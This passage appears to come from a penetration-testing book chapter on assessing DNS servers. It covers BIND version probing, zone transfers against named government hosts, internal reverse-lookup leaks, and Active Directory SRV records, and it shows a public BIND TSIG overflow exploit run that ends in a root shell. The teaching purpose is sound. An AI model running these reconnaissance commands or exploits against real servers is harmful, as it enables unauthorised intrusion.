In Chapter 3, I covered the use of Domain Name System querying to enumerate and map IP networks. This involves launching forward and reverse queries, along with DNS zone transfers. DNS servers use two ports to fulfill requests: UDP port 53 to serve standard direct requests (e.g., to resolve names to IP addresses and vice versa) and TCP port 53 to serve DNS information during a zone transfer. To fully assess DNS services (to identify exploitable vulnerabilities and other risks) you must do the following:
5.3.1 Retrieving DNS Service Version InformationDNS server version information can be gleaned directly across UDP port 53 by issuing a version.bind chaos txt request through the Unix dig utility. In Example 5-3, BIND 9.2.1 is running against mail.hmgcc.gov.uk. Example 5-3. Using dig to glean BIND version information# dig @mail.hmgcc.gov.uk version.bind chaos txt ; <<>> DiG 9.2.0 <<>> @mail.hmgcc.gov.uk version.bind chaos txt ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21612 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;version.bind. CH TXT ;; ANSWER SECTION: version.bind. 0 CH TXT "9.2.1" ;; Query time: 29 msec ;; SERVER: 195.217.192.1#53(mail.hmgcc.gov.uk) ;; MSG SIZE rcvd: 48 If you don't have access to a Unix-like system with dig, nslookup can be used in an interactive fashion from Windows, Unix, or MacOS to issue the same version.bind request. Example 5-4 shows that relay2.ucia.gov is running BIND 4.9.11 (a recent release of the BIND 4 server software). Example 5-4. Using nslookup to gather BIND version information# nslookup > server relay2.ucia.gov Default server: relay2.ucia.gov Address: 198.81.129.194#53 > set class=chaos > set type=txt > version.bind Server: relay2.ucia.gov Address: 198.81.129.194#53 VERSION.BIND text = "4.9.11-REL" 5.3.2 DNS Zone TransfersDNS services are primarily accessed through UDP port 53 when serving answers to DNS requests. Authoritative name servers also listen on TCP port 53 for synchronization and DNS zone transfer purposes. As discussed previously in Chapter 3, a DNS zone file contains all the naming information the name server stores regarding a specific DNS domain. A DNS zone transfer can often be launched to retrieve details of nonpublic internal networks and other useful information that can help build an accurate map of the target infrastructure. Windows tools, such as nslookup and the Sam Spade Windows client, can perform a DNS zone transfer (see the Section 3.3.2). However, the most effective method to issue a DNS zone transfer request against a specific DNS server is to use the Unix dig command, as shown in Example 5-5. Example 5-5. Using dig to perform a DNS zone transfer# dig @auth100.ns.uu.net ucia.gov axfr ; <<>> DiG 9.2.1 <<>> @auth100.ns.uu.net ucia.gov axfr ;; global options: printcmd ucia.gov. 86400 IN NS relay1.ucia.gov. ucia.gov. 86400 IN NS auth100.ns.uu.net. ucia.gov. 86400 IN MX 5 relay2.ucia.gov. relay2-qfe0.ucia.gov. 86400 IN CNAME relay2.ucia.gov. relay1-qfe0.ucia.gov. 86400 IN CNAME relay1.ucia.gov. ain-relay1-ext.ucia.gov. 86400 IN CNAME relay1.ucia.gov. ex-rtr-191-a.ucia.gov. 86400 IN A 192.103.66.58 ain-relay11-ext.ucia.gov. 86400 IN CNAME relay11.ucia.gov. ex-rtr-191-b.ucia.gov. 86400 IN A 192.103.66.62 relay.ucia.gov. 86400 IN CNAME relay1.ucia.gov. relay2-int.ucia.gov. 86400 IN CNAME ain-relay2-le1.ucia.gov. ain-relay11-qfe0.ucia.gov. 86400 IN CNAME relay11.ucia.gov. relay11-int.ucia.gov. 86400 IN A 192.168.64.4 ain.ucia.gov. 86400 IN A 198.81.128.68 foia.ucia.gov. 86400 IN CNAME www.foia.ucia.gov. relay11.ucia.gov. 86400 IN A 198.81.129.195 ain-relay2-ext.ucia.gov. 86400 IN CNAME relay2.ucia.gov. relay1-ext.ucia.gov. 86400 IN CNAME relay1.ucia.gov. relay11-qfe0.ucia.gov. 86400 IN CNAME relay11.ucia.gov. relay2t.ucia.gov. 86400 IN A 198.81.129.34 ain-relay2-qfe1.ucia.gov. 86400 IN A 192.168.64.3 ain-relay1-qfe0.ucia.gov. 86400 IN CNAME relay1.ucia.gov. ain-relay1-qfe1.ucia.gov. 86400 IN A 192.168.64.2 ex-rtr.ucia.gov. 86400 IN CNAME ex-rtr-129.ucia.gov. wais.ucia.gov. 86400 IN CNAME relay2.ucia.gov. relay2-ext.ucia.gov. 86400 IN CNAME relay2.ucia.gov. ain-relay1-int.ucia.gov. 86400 IN CNAME ain-relay1-qfe1.ucia.gov. ain-relay.ucia.gov. 86400 IN CNAME relay1.ucia.gov. relay11-ext.ucia.gov. 86400 IN CNAME relay11.ucia.gov. relay1.ucia.gov. 86400 IN A 198.81.129.193 relay2.ucia.gov. 86400 IN A 198.81.129.194 ain-relay-int.ucia.gov. 86400 IN CNAME ain-relay1-qfe1.ucia.gov. relay-int.ucia.gov. 86400 IN CNAME ain-relay1-qfe1.ucia.gov. ex-rtr-129.ucia.gov. 86400 IN HINFO "Cisco 4000 Router" ex-rtr-129.ucia.gov. 86400 IN A 198.81.129.222 ain-relay2-int.ucia.gov. 86400 IN CNAME ain-relay2-le1.ucia.gov. ain-relay2-le0.ucia.gov. 86400 IN CNAME relay2.ucia.gov. relay1-int.ucia.gov. 86400 IN CNAME ain-relay1-qfe1.ucia.gov. 5.3.3 DNS Information Leaks and Reverse Lookup AttacksUntil recently, Check Point Firewall-1 shipped with a DNS "allow any to any" rule within its default policy. Many other firewalls also suffer from this oversight, so it is often possible to access DNS servers running on internal systems that should not be providing name service to the Internet. For example, during a penetration test I undertook in 1998 against a multinational corporation, I completely mapped internal network space through misconfigured DNS servers. Through initial port scanning I found a handful of accessible DNS servers that, upon inspection, seemed to be connected to the internal network. I enumerated internal hosts and networks through one name server in particular, which allowed me to build a detailed map of the internal network space through a non-authoritative name server. It is sometimes possible to connect directly to DNS servers on peripheral network boundaries (using UDP port 53) and issue requests relating to internal IP addresses. Example 5-6 shows how nslookup can be used to find internal addresses easily done if you know internal IP address ranges (through enumeration done earlier in the testing process). Example 5-6. Extracting internal host information through DNS# nslookup > set querytype=any > server 144.51.5.2 Default server: 144.51.5.2 Address: 144.51.5.2#53 > 192.168.1.43 ;; connection timed out; no servers could be reached > 192.168.1.44 ;; connection timed out; no servers could be reached > 192.168.1.45 Server: 144.51.5.2 Address: 144.51.5.2#53 45.1.168.192.in-addr.arpa name = staging.corporate.com An automated reverse DNS sweep tool such as ghba can be modified to query a specific name server for internal network information, but this can also be achieved simply by setting your /etc/resolv.conf file to point at the target name server instead of your local DNS servers. Example 5-7 shows how this can be done from a Unix environment. Example 5-7. Automating the reverse lookup process with ghba# cat /etc/resolv.conf nameserver 144.51.5.2 # ghba 192.168.1.0 Scanning Class C network 192.168.1... 192.168.1.1 => gatekeeper.corporate.com 192.168.1.5 => exch-cluster.corporate.com 192.168.1.6 => exchange-1.corporate.com 192.168.1.7 => exchange-2.corporate.com 192.168.1.8 => sqlserver.corporate.com 192.168.1.45 => staging.corporate.com All in all, DNS servers running on internal hosts such as Windows 2000 Server platforms are useful to a determined attacker. Default Check Point firewall rules and weak network segmentation can be used by attackers to gather useful network information. 5.3.4 BIND VulnerabilitiesThe Berkeley Internet Name Daemon (BIND) is run on most Unix name servers. The BIND service has been found to be vulnerable to a plethora of buffer overflow and denial of service attacks over recent years. The Internet Software Consortium (ISC) has created a very useful web page to track all publicly known vulnerabilities in BIND (see http://www.isc.org/products/BIND/bind-security.html). At the bottom of the ISC page is an excellent matrix documenting exactly which versions of BIND are vulnerable to each known attack. Table 5-1 shows a summary of the remotely exploitable vulnerabilities within BIND at the time of writing, with details of the affected versions of software.
Mike Schiffman has written a good paper that discusses the history of BIND vulnerabilities and details the current security posture of over 10,000 DNS servers. You can read his findings at http://www.packetfactory.net/papers/DNS-posture/. Exploit scripts for some BIND vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org).[1] As always, you can search the MITRE CVE and ISS X-Force lists at http://cve.mitre.org and http://xforce.iss.net, respectively.
5.3.4.1 BIND TSIG overflow exploitYou can find a number of public exploits for the BIND TSIG overflow, one of which is bind8x.c, from http://packetstormsecurity.org/0102-exploits. Background information for the bug in question is accessible as a CERT advisory at http://www.cert.org/advisories/CA-2001-02.html and also by checking the MITRE CVE list for exposure reference CVE-2001-0010. After identifying a vulnerable name server running BIND 8.2.1 or 8.2.2 (in this example at 192.168.0.20), you can launch the exploit as shown in Example 5-8. Example 5-8. The BIND TSIG remote exploit# ./bind8x 192.168.0.20 [*] named 8.2.x (< 8.2.3-REL) remote root exploit by lucysoft, Ix [*] fixed by ian@cypherpunks.ca and jwilkins@bitland.net [*] attacking 192.168.0.20 (192.168.0.20) [d] HEADER is 12 long [d] infoleak_qry was 476 long [*] iquery resp len = 719 [d] argevdisp1 = 080d7cd0, argevdisp2 = 4010d704 [*] retrieved stack offset = bffffa88 [d] evil_query(buff, bffffa88) [d] shellcode is 134 long [d] olb = 136 [*] injecting shellcode at 1 [*] connecting.. [*] wait for your shell.. Linux ns2 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown uid=0(root) gid=0(root) groups=0(root) 5.3.5 Microsoft DNS Service VulnerabilitiesWindows 2000 servers ship with built-in DNS services. As the Windows platform moves toward a native Active Directory model, historic naming services such as WINS are being superseded by DNS. 5.3.5.1 Extracting Active Directory network service informationDetails of authoritative Windows 2000 network services, such as Active Directory, LDAP, and Kerberos can be found by searching for SRV records when performing a DNS zone transfer against a known Windows 2000 server. RFC 2052 details the SRV record format and other information, but generally the following DNS SRV records can be found when testing a Windows 2000 server running DNS: _gc._tcp SRV priority=0,weight=100,port=3268,pdc.example.org _kerberos._tcp SRV priority=0,weight=100,port=88,pdc.example.org _kpasswd._tcp SRV priority=0,weight=100,port=464,pdc.example.org _ldap._tcp SRV priority=0,weight=100,port=389,pdc.example.org From analyzing the responses, you can identify servers running Active Directory Global Catalog and Kerberos services. LDAP is also used in organizations as a user directory, listing users along with telephone and other details (see the Section 5.7 later in this chapter for further information). 5.3.5.2 Remote vulnerabilities in the Microsoft DNS serverAt the time of writing, there is no easy way to list current Windows 2000 Server DNS vulnerabilities. Due to the way that DNS is built into the core operating system and the way Microsoft manages its advisories and patches, you must currently trawl through an abundance of advisories on the Microsoft site (at http://www.microsoft.com/technet/security/) and cross reference them to identify remotely exploitable DNS issues. A Google, MITRE CVE, or SecurityFocus search can often spread light over recent problems. |